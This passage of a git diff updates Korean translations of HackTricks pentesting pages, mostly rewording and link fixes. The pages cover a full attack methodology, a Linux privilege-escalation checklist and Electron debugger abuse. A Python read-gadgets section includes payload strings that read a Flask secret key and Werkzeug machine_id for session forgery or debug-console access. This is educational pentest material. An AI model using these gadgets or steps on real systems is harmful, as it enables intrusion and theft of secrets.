찾을 것으로 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 유용합니다.** ## 요약 @@ -604,15 +604,15 @@ _정기적인 Google 브라우저를 사용하여 데이터베이스를 모두 따라서 이미 다음을 수행했습니다: -1. 범위 내의 모든 **회사**를 찾았습니다. +1. **범위 내의 모든 회사**를 찾았습니다. 2. 회사에 속하는 모든 **자산**을 찾았습니다 (범위 내에서 취약점 스캔 수행). 3. 회사에 속하는 모든 **도메인**을 찾았습니다. -4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 가능성은?). +4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 가능성은 있나요?). 5. 범위 내의 모든 **IP**를 찾았습니다 (CDN에서 온 것과 아닌 것). -6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점은?). +6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점이 있나요?). 7. 회사에 속하는 모든 **잠재적 공개 클라우드 자산**을 찾았습니다. -8. **이메일**, **자격 증명 유출**, 및 **비밀 유출**로 인해 **매우 쉽게 큰 승리를 얻을 수 있습니다**. -9. 발견한 모든 웹을 **펜테스팅**했습니다. +8. **이메일**, **자격 증명 유출**, 및 **비밀 유출**로 인해 **매우 쉽게 큰 승리**를 얻을 수 있습니다. +9. 발견한 모든 웹을 **펜테스팅**합니다. ## **전체 재콘 자동 도구** diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index f88f80abd..4c32eca8a 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -11,23 +11,23 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran ### 0- 물리적 공격 -공격하고자 하는 기계에 **물리적 접근**이 있습니까? [**물리적 공격에 대한 몇 가지 요령**](../hardware-physical-access/physical-attacks.md)과 [**GUI 애플리케이션에서 탈출하는 방법**](../hardware-physical-access/escaping-from-gui-applications.md)에 대해 읽어보세요. +공격하고자 하는 기계에 **물리적 접근**이 있습니까? [**물리적 공격에 대한 몇 가지 요령**](../hardware-physical-access/physical-attacks.md)과 [**GUI 애플리케이션에서 탈출하는 방법**](../hardware-physical-access/escaping-from-gui-applications.md)에 대한 내용을 읽어보세요. -### 1 - [네트워크 내 호스트 발견](pentesting-network/index.html#discovering-hosts)/ [회사의 자산 발견](external-recon-methodology/) +### 1 - [네트워크 내 호스트 발견](pentesting-network/index.html#discovering-hosts)/ [회사의 자산 발견](external-recon-methodology/index.html) **테스트**가 **내부 테스트**인지 **외부 테스트**인지에 따라 **회사 네트워크 내 호스트**를 찾거나 **인터넷에서 회사의 자산**을 찾는 데 관심이 있을 수 있습니다. > [!NOTE] > 외부 테스트를 수행하는 경우, 회사의 내부 네트워크에 접근하게 되면 이 가이드를 다시 시작해야 합니다. -### **2-** [**네트워크와 함께 즐기기**](pentesting-network/) **(내부)** +### **2-** [**네트워크와 함께 즐기기**](pentesting-network/index.html) **(내부)** **이 섹션은 내부 테스트를 수행하는 경우에만 적용됩니다.**\ 호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** **데이터를 스니핑**하여 **수동/능동적으로(MitM)** 네트워크 내에서 무엇을 찾을 수 있는지 알아보는 것이 좋습니다. [**Pentesting Network**](pentesting-network/index.html#sniffing)를 읽어보세요. ### 3- [포트 스캔 - 서비스 발견](pentesting-network/index.html#scanning-hosts) -**호스트의 취약점을 찾을 때** 가장 먼저 해야 할 일은 어떤 **서비스가 어떤 포트에서 실행되고 있는지** 아는 것입니다. [**호스트의 포트를 스캔하는 기본 도구**](pentesting-network/index.html#scanning-hosts)를 살펴보겠습니다. +**호스트에서 취약점을 찾을 때** 가장 먼저 해야 할 일은 어떤 **서비스가 어떤 포트에서 실행되고 있는지** 아는 것입니다. [**호스트의 포트를 스캔하는 기본 도구**](pentesting-network/index.html#scanning-hosts)를 살펴보겠습니다. ### **4-** [서비스 버전 익스플로잇 검색](../generic-hacking/search-exploits.md) @@ -39,36 +39,36 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran **이 책에서는 가장 일반적인 서비스에 대한 펜테스트 가이드를 찾을 수 있습니다** (그리고 그렇게 일반적이지 않은 서비스도 포함되어 있습니다). 왼쪽 인덱스에서 **_**PENTESTING**_ **섹션을 검색하세요** (서비스는 기본 포트에 따라 정렬되어 있습니다). -**특히** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 특별히 언급하고 싶습니다 (가장 방대한 부분이기 때문입니다).**\ +**특히** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **부분에 특별히 언급하고 싶습니다 (가장 방대한 부분이기 때문입니다).**\ 또한 [**소프트웨어에서 알려진 취약점을 찾는 방법**](../generic-hacking/search-exploits.md)에 대한 작은 가이드를 여기에서 찾을 수 있습니다. -**서비스가 인덱스에 없다면, Google에서 다른 튜토리얼을 검색하세요** 그리고 **추가해 달라고 알려주세요.** Google에서 **아무것도 찾을 수 없다면**, **자신의 블라인드 펜테스트**를 수행하세요. **서비스에 연결하고, 퍼징하고, 응답을 읽는 것**부터 시작할 수 있습니다 (있다면). +**인덱스에 서비스가 없다면, Google에서** 다른 튜토리얼을 검색하고 **추가해 달라고 알려주세요.** Google에서 **아무것도 찾을 수 없다면**, **자신의 블라인드 펜테스트를 수행하세요**, **서비스에 연결하고, 퍼징하고, 응답을 읽는 것**부터 시작할 수 있습니다 (있다면). #### 5.1 자동 도구 -**자동 취약점 평가**를 수행할 수 있는 여러 도구도 있습니다. **[**Legion**](https://github.com/carlospolop/legion)**을 시도해 보기를 권장합니다. 이 도구는 제가 만든 도구로, 이 책에서 찾을 수 있는 펜테스트 서비스에 대한 노트를 기반으로 합니다.** +**자동 취약점 평가**를 수행할 수 있는 여러 도구도 있습니다. **[**Legion**](https://github.com/carlospolop/legion)**을 시도해 보기를 권장합니다. 이 도구는 제가 만든 도구로, 이 책에서 찾을 수 있는 서비스에 대한 펜테스트 노트를 기반으로 합니다.** -#### **5.2 서비스 브루트 포스** +#### **5.2- 서비스 브루트 포스** 일부 시나리오에서는 **브루트 포스**가 **서비스를 타협하는 데 유용할 수 있습니다**. [**여기에서 다양한 서비스의 브루트 포스 치트 시트를 찾으세요**](../generic-hacking/brute-force.md)**.** -### 6- [피싱](phishing-methodology/) +### 6- [피싱](phishing-methodology/index.html) -이 시점에서 흥미로운 취약점을 찾지 못했다면, **네트워크에 들어가기 위해 피싱을 시도해야 할 수도 있습니다**. 제 피싱 방법론을 [여기](phishing-methodology/)에서 읽어보세요: +이 시점에서 흥미로운 취약점을 찾지 못했다면, **네트워크에 침투하기 위해 피싱을 시도해야 할 수도 있습니다**. 제 피싱 방법론을 [여기](phishing-methodology/index.html)에서 읽어보세요: -### **7-** [**쉘 얻기**](../generic-hacking/reverse-shells/) +### **7-** [**쉘 얻기**](../generic-hacking/reverse-shells/index.html) -어떻게든 **희생자에서 코드를 실행할 방법을 찾았어야 합니다**. 그런 다음, [역쉘을 얻기 위해 시스템 내에서 사용할 수 있는 가능한 도구 목록이 매우 유용할 것입니다](../generic-hacking/reverse-shells/). +어떻게든 **희생자에서 코드를 실행할 수 있는 방법을 찾아야 합니다**. 그런 다음, [시스템 내에서 리버스 쉘을 얻기 위해 사용할 수 있는 가능한 도구 목록이 매우 유용할 것입니다](../generic-hacking/reverse-shells/index.html). 특히 Windows에서는 **안티바이러스를 피하는 데 도움이 필요할 수 있습니다**: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\ ### 8- 내부 -쉘에 문제가 있는 경우, 펜테스터를 위한 가장 유용한 명령어의 작은 **모음집**을 여기에서 찾을 수 있습니다: +쉘에 문제가 있는 경우, 펜테스터를 위한 가장 유용한 명령어의 작은 **모음**을 여기에서 찾을 수 있습니다: - [**리눅스**](../linux-hardening/useful-linux-commands.md) - [**윈도우 (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) -- [**윈도우 (PS)**](../windows-hardening/basic-powershell-for-pentesters/) +- [**윈도우 (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html) ### **9 -** [**탈출**](../generic-hacking/exfiltration.md) @@ -78,26 +78,26 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran #### **10.1- 로컬 권한 상승** -박스 내에서 **루트/관리자**가 아니라면, **권한을 상승시킬 방법을 찾아야 합니다**.\ -여기에서 [**리눅스**](../linux-hardening/privilege-escalation/) **및** [**윈도우**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬 권한을 상승시키는 가이드를 찾을 수 있습니다.**\ -또한 **Windows가 어떻게 작동하는지**에 대한 이 페이지를 확인하세요: +박스 내에서 **root/Administrator가 아닌 경우**, **권한을 상승시키는 방법을 찾아야 합니다**.\ +여기에서 [**리눅스**](../linux-hardening/privilege-escalation/index.html) **및** [**윈도우**](../windows-hardening/windows-local-privilege-escalation/index.html) **에서 로컬 권한을 상승시키는 가이드를 찾을 수 있습니다.**\ +또한 **Windows가 어떻게 작동하는지**에 대한 이 페이지를 확인해야 합니다: -- [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- [**NTLM 작동 방식**](../windows-hardening/ntlm/) -- Windows에서 [**자격 증명 훔치기**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) -- [_**Active Directory**_에 대한 몇 가지 요령](../windows-hardening/active-directory-methodology/) +- [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html) +- [**NTLM 작동 방식**](../windows-hardening/ntlm/index.html) +- Windows에서 [**자격 증명을 훔치는 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) +- [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)에 대한 몇 가지 요령 **Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최고의 도구를 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- 도메인 권한 상승** -여기에서 [**Active Directory에서 권한을 열거하고 상승시키고 지속하는 가장 일반적인 작업을 설명하는 방법론**](../windows-hardening/active-directory-methodology/)을 찾을 수 있습니다. 이것은 섹션의 하위 섹션일 뿐이지만, 이 과정은 **펜테스팅/레드 팀 과제에서 매우 섬세할 수 있습니다**. +여기에서 [**Active Directory에서 권한을 열거하고 상승시키고 지속하는 가장 일반적인 작업을 설명하는 방법론**](../windows-hardening/active-directory-methodology/index.html)을 찾을 수 있습니다. 이것은 섹션의 하위 섹션일 뿐이지만, 이 과정은 **펜테스팅/레드 팀 과제에서 매우 섬세할 수 있습니다**. ### 11 - POST #### **11**.1 - 약탈 -호스트 내에서 더 많은 **비밀번호**를 찾거나 **사용자의 권한**으로 **다른 기계에 접근할 수 있는지 확인하세요**.\ +호스트 내에서 더 많은 **비밀번호**를 찾거나 **사용자의 권한**으로 **다른 기계에 접근할 수 있는지** 확인하세요.\ 여기에서 [**Windows에서 비밀번호를 덤프하는 다양한 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)을 찾을 수 있습니다. #### 11.2 - 지속성 @@ -105,26 +105,26 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran **시스템을 다시 공격할 필요가 없도록 2~3가지 다른 유형의 지속성 메커니즘을 사용하세요.**\ **여기에서** [**Active Directory의 지속성 요령**](../windows-hardening/active-directory-methodology/index.html#persistence)**을 찾을 수 있습니다.** -TODO: Windows 및 Linux의 지속성 게시물 완성 +TODO: Windows 및 Linux의 지속성 게시물 완료 ### 12 - 피벗팅 -**수집한 자격 증명**으로 다른 기계에 접근할 수 있거나, **새로운 호스트를 발견하고 스캔해야 할 수도 있습니다** (희생자가 연결된 새로운 네트워크 내에서 펜테스팅 방법론을 다시 시작하세요).\ +**수집된 자격 증명**으로 다른 기계에 접근할 수 있거나, **새로운 호스트를 발견하고 스캔해야 할 수도 있습니다** (펜테스팅 방법론을 다시 시작하세요) 새로운 네트워크 내에서 희생자가 연결되어 있는 경우.\ 이 경우 터널링이 필요할 수 있습니다. [**터널링에 대한 게시물**](../generic-hacking/tunneling-and-port-forwarding.md)을 여기에서 찾을 수 있습니다.\ -또한 [Active Directory 펜테스팅 방법론](../windows-hardening/active-directory-methodology/)에 대한 게시물을 확인해야 합니다. 거기에서 수평 이동, 권한 상승 및 자격 증명 덤프를 위한 멋진 요령을 찾을 수 있습니다.\ -[**NTLM**](../windows-hardening/ntlm/)에 대한 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다. +또한 [Active Directory 펜테스팅 방법론](../windows-hardening/active-directory-methodology/index.html)에 대한 게시물을 확인해야 합니다. 거기에서 수평 이동, 권한 상승 및 자격 증명 덤프를 위한 멋진 요령을 찾을 수 있습니다.\ +[**NTLM**](../windows-hardening/ntlm/index.html)에 대한 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다. ### MORE -#### [안드로이드 애플리케이션](../mobile-pentesting/android-app-pentesting/) +#### [안드로이드 애플리케이션](../mobile-pentesting/android-app-pentesting/index.html) #### **익스플로잇** -- [**기본 리눅스 익스플로잇**](broken-reference/) +- [**기본 리눅스 익스플로잇**](broken-reference/index.html) - [**기본 윈도우 익스플로잇**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**기본 익스플로잇 도구**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**기본 익스플로잇 도구**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html) -#### [**기본 파이썬**](python/) +#### [**기본 파이썬**](python/index.html) #### **암호 요령** diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index a14a63f88..976289ea4 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -6,7 +6,7 @@ - [**Pyscript 해킹 기법**](pyscript.md) - [**Python 역직렬화**](../../pentesting-web/deserialization/index.html#python) -- [**Python 샌드박스를 우회하는 기법**](bypass-python-sandboxes/) +- [**Python 샌드박스를 우회하는 기법**](bypass-python-sandboxes/index.html) - [**기본 Python 웹 요청 구문**](web-requests.md) - [**기본 Python 구문 및 라이브러리**](basic-python.md) diff --git a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md index b1ef3934b..be08d167d 100644 --- a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md +++ b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md @@ -2,20 +2,20 @@ {{#include ../../banners/hacktricks-training.md}} -## 기본 정보 +## Basic Information -[**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) 또는 [**Class Pollution**](class-pollution-pythons-prototype-pollution.md)와 같은 다양한 취약점은 **파이썬 내부 데이터를 읽을 수 있지만 코드를 실행할 수는 없습니다**. 따라서, 펜테스터는 이러한 읽기 권한을 최대한 활용하여 **민감한 권한을 얻고 취약점을 상승시켜야 합니다**. +다양한 취약점, 예를 들어 [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) 또는 [**Class Pollution**](class-pollution-pythons-prototype-pollution.md)는 **파이썬 내부 데이터를 읽을 수 있지만 코드를 실행할 수는 없습니다**. 따라서, 펜테스터는 이러한 읽기 권한을 최대한 활용하여 **민감한 권한을 얻고 취약점을 상승시켜야 합니다**. -### Flask - 비밀 키 읽기 +### Flask - Read secret key Flask 애플리케이션의 메인 페이지에는 아마도 이 **비밀이 구성된** **`app`** 전역 객체가 있을 것입니다. ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' ``` -이 경우, [**Python 샌드박스 우회 페이지**](bypass-python-sandboxes/)에서 **전역 객체에 접근하기 위해** 어떤 가젯을 사용하여 이 객체에 접근할 수 있습니다. +이 경우, [**Python 샌드박스 우회 페이지**](bypass-python-sandboxes/index.html)에서 **전역 객체에 접근하기 위한** 어떤 가젯을 사용하여 이 객체에 접근할 수 있습니다. -**취약점이 다른 파이썬 파일에 있는 경우**, 전역 객체 `app.secret_key`에 접근하기 위해 파일을 탐색할 수 있는 가젯이 필요하며, 이를 통해 Flask 비밀 키를 변경하고 이 키를 알고 [**권한 상승**을 할 수 있습니다](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). +**취약점이 다른 파이썬 파일에 있는 경우**, 전역 객체 `app.secret_key`에 접근하기 위해 메인 파일로 이동할 수 있는 가젯이 필요하며, 이를 통해 Flask 비밀 키를 변경하고 이 키를 알고 [**권한 상승**을 할 수 있습니다](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). 이와 같은 페이로드는 [이 작성물에서](https://ctftime.org/writeup/36082): ```python @@ -25,13 +25,13 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se ### Werkzeug - machine_id 및 node uuid -[**이 작성물에서 제공된 페이로드를 사용하여**](https://vozec.fr/writeups/tweedle-dum-dee/) **machine_id** 및 **uuid** 노드에 접근할 수 있으며, 이는 [**Werkzeug 핀을 생성하는 데 필요한 주요 비밀**](../../network-services-pentesting/pentesting-web/werkzeug.md)입니다. **디버그 모드가 활성화된 경우** `/console`에서 파이썬 콘솔에 접근하는 데 사용할 수 있습니다. +[**이 페이로드를 사용하여**](https://vozec.fr/writeups/tweedle-dum-dee/) **machine_id** 및 **uuid** 노드에 접근할 수 있으며, 이는 [**Werkzeug 핀을 생성하는 데 필요한**](../../network-services-pentesting/pentesting-web/werkzeug.md) **주요 비밀**입니다. **디버그 모드가 활성화된 경우** `/console`에서 파이썬 콘솔에 접근하는 데 사용할 수 있습니다. ```python {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id} {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node} ``` > [!WARNING] -> **app.py**의 **서버 로컬 경로**를 얻으려면 웹 페이지에서 **오류**를 생성해야 하며, 이는 **경로**를 **제공합니다**. +> **app.py**의 **서버 로컬 경로**를 얻으려면 웹 페이지에서 **오류**를 생성해야 하며, 이는 **경로를 제공합니다**. 취약점이 다른 파이썬 파일에 있는 경우, 메인 파이썬 파일에서 객체에 접근하기 위한 이전 Flask 트릭을 확인하세요. diff --git a/src/linux-hardening/linux-privilege-escalation-checklist.md b/src/linux-hardening/linux-privilege-escalation-checklist.md index e4c589f5e..2ee282931 100644 --- a/src/linux-hardening/linux-privilege-escalation-checklist.md +++ b/src/linux-hardening/linux-privilege-escalation-checklist.md @@ -28,7 +28,7 @@ ### [프로세스](privilege-escalation/index.html#processes) -- [ ] **알 수 없는 소프트웨어가 실행되고 있나요?** +- [ ] **알 수 없는 소프트웨어가 실행되고** 있나요? - [ ] **더 많은 권한을 가진** 소프트웨어가 실행되고 있나요? - [ ] **실행 중인 프로세스의 익스플로잇** 검색 (특히 실행 중인 버전). - [ ] 실행 중인 프로세스의 **바이너리를 수정**할 수 있나요? @@ -39,8 +39,8 @@ - [ ] [**PATH**](privilege-escalation/index.html#cron-path)가 크론에 의해 수정되고 있으며, 그 안에 **쓰기**가 가능한가요? - [ ] 크론 작업에 [**와일드카드**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection)가 있나요? -- [ ] **수정 가능한 스크립트**가 **실행**되거나 **수정 가능한 폴더** 안에 있나요? -- [ ] 어떤 **스크립트**가 [**매우 자주 실행되고 있는지**](privilege-escalation/index.html#frequent-cron-jobs) 감지했나요? (매 1, 2 또는 5분마다) +- [ ] **수정 가능한 스크립트**가 **실행되고** 있거나 **수정 가능한 폴더** 안에 있나요? +- [ ] 어떤 **스크립트**가 [**매우 자주 실행되고**](privilege-escalation/index.html#frequent-cron-jobs) 있는지 감지했나요? (매 1, 2 또는 5분마다) ### [서비스](privilege-escalation/index.html#services) @@ -55,12 +55,12 @@ ### [소켓](privilege-escalation/index.html#sockets) - [ ] **쓰기 가능한 .socket** 파일이 있나요? -- [ ] **어떤 소켓과 통신**할 수 있나요? +- [ ] **어떤 소켓과 통신할 수** 있나요? - [ ] 흥미로운 정보가 있는 **HTTP 소켓**이 있나요? ### [D-Bus](privilege-escalation/index.html#d-bus) -- [ ] **어떤 D-Bus와 통신**할 수 있나요? +- [ ] **어떤 D-Bus와 통신할 수** 있나요? ### [네트워크](privilege-escalation/index.html#network) @@ -72,10 +72,10 @@ - [ ] 일반 사용자/그룹 **열거** - [ ] **매우 큰 UID**가 있나요? **기계**가 **취약한가요**? -- [ ] 당신이 속한 [**그룹 덕분에 권한을 상승시킬 수**](privilege-escalation/interesting-groups-linux-pe/) 있나요? +- [ ] 당신이 속한 [**그룹 덕분에 권한을 상승시킬 수**](privilege-escalation/interesting-groups-linux-pe/index.html) 있나요? - [ ] **클립보드** 데이터? - [ ] 비밀번호 정책? -- [ ] 이전에 발견한 **모든 알려진 비밀번호**를 사용하여 **각 사용자**로 로그인 시도. 비밀번호 없이도 로그인 시도. +- [ ] 이전에 발견한 **모든 알려진 비밀번호**를 사용하여 **각 가능한 사용자**로 로그인 시도하세요. 비밀번호 없이도 로그인 시도하세요. ### [쓰기 가능한 PATH](privilege-escalation/index.html#writable-path-abuses) @@ -89,17 +89,17 @@ - [ ] [**경로가 표시되지 않은 Sudo/SUID 바이너리**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)? - [ ] [**경로를 지정한 SUID 바이너리**](privilege-escalation/index.html#suid-binary-with-command-path)? 우회 - [ ] [**LD_PRELOAD 취약점**](privilege-escalation/index.html#ld_preload) -- [ ] [**SUID 바이너리에서 .so 라이브러리 부족**](privilege-escalation/index.html#suid-binary-so-injection) 쓰기 가능한 폴더에서? -- [ ] [**SUDO 토큰 사용 가능**](privilege-escalation/index.html#reusing-sudo-tokens)? [**SUDO 토큰을 생성할 수 있나요**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)? -- [ ] [**sudoers 파일을 읽거나 수정할 수 있나요**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)? -- [ ] [**/etc/ld.so.conf.d/**를 수정할 수 있나요](privilege-escalation/index.html#etc-ld-so-conf-d)? +- [ ] **쓰기 가능한 폴더에서** [**SUID 바이너리에 .so 라이브러리 부족**](privilege-escalation/index.html#suid-binary-so-injection)? +- [ ] [**SUDO 토큰 사용 가능**](privilege-escalation/index.html#reusing-sudo-tokens)? [**SUDO 토큰을 생성할 수**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than) 있나요? +- [ ] [**sudoers 파일을 읽거나 수정할 수**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d) 있나요? +- [ ] [**/etc/ld.so.conf.d/**를 수정할 수**](privilege-escalation/index.html#etc-ld-so-conf-d) 있나요? - [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas) 명령 ### [능력](privilege-escalation/index.html#capabilities) - [ ] 어떤 바이너리에 **예상치 못한 능력**이 있나요? -### [ACL](privilege-escalation/index.html#acls) +### [ACLs](privilege-escalation/index.html#acls) - [ ] 어떤 파일에 **예상치 못한 ACL**이 있나요? @@ -115,10 +115,10 @@ ### [흥미로운 파일](privilege-escalation/index.html#interesting-files) -- [ ] **프로파일 파일** - 민감한 데이터 읽기? privesc에 쓰기? -- [ ] **passwd/shadow 파일** - 민감한 데이터 읽기? privesc에 쓰기? +- [ ] **프로파일 파일** - 민감한 데이터 읽기? 권한 상승을 위한 쓰기? +- [ ] **passwd/shadow 파일** - 민감한 데이터 읽기? 권한 상승을 위한 쓰기? - [ ] 민감한 데이터를 위해 **일반적으로 흥미로운 폴더** 확인 -- [ ] **이상한 위치/소유 파일,** 접근하거나 실행 파일을 변경할 수 있습니다 +- [ ] **이상한 위치/소유 파일,** 접근하거나 실행 파일을 변경할 수 있는 파일 - [ ] **최근 몇 분 내에 수정됨** - [ ] **Sqlite DB 파일** - [ ] **숨겨진 파일** @@ -131,13 +131,13 @@ ### [**쓰기 가능한 파일**](privilege-escalation/index.html#writable-files) - [ ] **임의의 명령을 실행하기 위해 파이썬 라이브러리 수정**? -- [ ] **로그 파일을 수정할 수 있나요**? **Logtotten** 익스플로잇 +- [ ] **로그 파일을 수정할 수** 있나요? **Logtotten** 익스플로잇 - [ ] **/etc/sysconfig/network-scripts/**를 수정할 수 있나요? Centos/Redhat 익스플로잇 -- [ ] [**ini, int.d, systemd 또는 rc.d 파일에 쓸 수 있나요**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)? +- [ ] [**ini, int.d, systemd 또는 rc.d 파일에 쓸 수**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d) 있나요? ### [**기타 트릭**](privilege-escalation/index.html#other-tricks) -- [ ] [**NFS를 악용하여 권한을 상승시킬 수 있나요**](privilege-escalation/index.html#nfs-privilege-escalation)? -- [ ] [**제한된 셸에서 탈출해야 하나요**](privilege-escalation/index.html#escaping-from-restricted-shells)? +- [ ] [**NFS를 악용하여 권한을 상승시킬 수**](privilege-escalation/index.html#nfs-privilege-escalation) 있나요? +- [ ] [**제한된 셸에서 탈출할 필요가 있나요**](privilege-escalation/index.html#escaping-from-restricted-shells)? {{#include ../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 35795d572..ef371b960 100644 --- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -4,7 +4,7 @@ ## Basic Information -[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` 스위치로 시작하면, Node.js 프로세스는 디버깅 클라이언트를 기다립니다. **기본적으로**, 호스트와 포트 **`127.0.0.1:9229`**에서 대기합니다. 각 프로세스는 또한 **고유한** **UUID**가 할당됩니다. +[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` 스위치로 시작하면, Node.js 프로세스는 디버깅 클라이언트를 위해 대기합니다. **기본적으로**, 호스트와 포트 **`127.0.0.1:9229`**에서 대기합니다. 각 프로세스는 또한 **고유한** **UUID**가 할당됩니다. 인스펙터 클라이언트는 연결하기 위해 호스트 주소, 포트 및 UUID를 알고 지정해야 합니다. 전체 URL은 `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`와 비슷하게 보일 것입니다. @@ -27,18 +27,18 @@ node --inspect --inspect-port=0 app.js #Will run the inspector in a random port Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` -**CEF** (**Chromium Embedded Framework**)를 기반으로 한 프로세스는 **debugger**를 열기 위해 `--remote-debugging-port=9222` 매개변수를 사용해야 합니다(SSRF 보호는 매우 유사하게 유지됩니다). 그러나 **NodeJS** **debug** 세션을 부여하는 대신 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)을 사용하여 브라우저와 통신합니다. 이는 브라우저를 제어하기 위한 인터페이스이지만, 직접적인 RCE는 없습니다. +프로세스는 **CEF** (**Chromium Embedded Framework**)를 기반으로 하며, **디버거**를 열기 위해 `--remote-debugging-port=9222` 매개변수를 사용해야 합니다 (SSRF 보호는 매우 유사하게 유지됩니다). 그러나 **NodeJS** **디버그** 세션을 부여하는 대신 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)을 사용하여 브라우저와 통신합니다. 이는 브라우저를 제어하기 위한 인터페이스이지만, 직접적인 RCE는 없습니다. 디버그된 브라우저를 시작하면 다음과 같은 내용이 나타납니다: ``` DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` -### 브라우저, WebSocket 및 동일 출처 정책 +### 브라우저, 웹소켓 및 동일 출처 정책 -웹 브라우저에서 열리는 웹사이트는 브라우저 보안 모델에 따라 WebSocket 및 HTTP 요청을 할 수 있습니다. **고유한 디버거 세션 ID를 얻기 위해** **초기 HTTP 연결**이 필요합니다. **동일 출처 정책**은 웹사이트가 **이 HTTP 연결**을 만들 수 없도록 **방지**합니다. [**DNS 리바인딩 공격**](https://en.wikipedia.org/wiki/DNS_rebinding)**에 대한 추가 보안을 위해** Node.js는 연결의 **'Host' 헤더**가 **IP 주소** 또는 **`localhost`** 또는 **`localhost6`**를 정확히 지정하는지 확인합니다. +웹 브라우저에서 열리는 웹사이트는 브라우저 보안 모델에 따라 웹소켓 및 HTTP 요청을 할 수 있습니다. **고유한 디버거 세션 ID를 얻기 위해** **초기 HTTP 연결**이 필요합니다. **동일 출처 정책**은 웹사이트가 **이 HTTP 연결**을 만들 수 없도록 **방지**합니다. [**DNS 리바인딩 공격**](https://en.wikipedia.org/wiki/DNS_rebinding)**에 대한 추가 보안을 위해,** Node.js는 연결에 대한 **'Host' 헤더**가 **IP 주소** 또는 **`localhost`** 또는 **`localhost6`**를 정확히 지정하는지 확인합니다. > [!NOTE] -> 이 **보안 조치는 HTTP 요청을 보내기만 해도** 코드를 실행하기 위해 **인스펙터를 악용하는 것을 방지**합니다(이는 SSRF 취약점을 악용하여 수행할 수 있습니다). +> 이 **보안 조치는 HTTP 요청을 보내기만 해도** 코드를 실행하기 위해 인스펙터를 악용하는 것을 **방지합니다** (이는 SSRF 취약점을 악용하여 수행할 수 있습니다). ### 실행 중인 프로세스에서 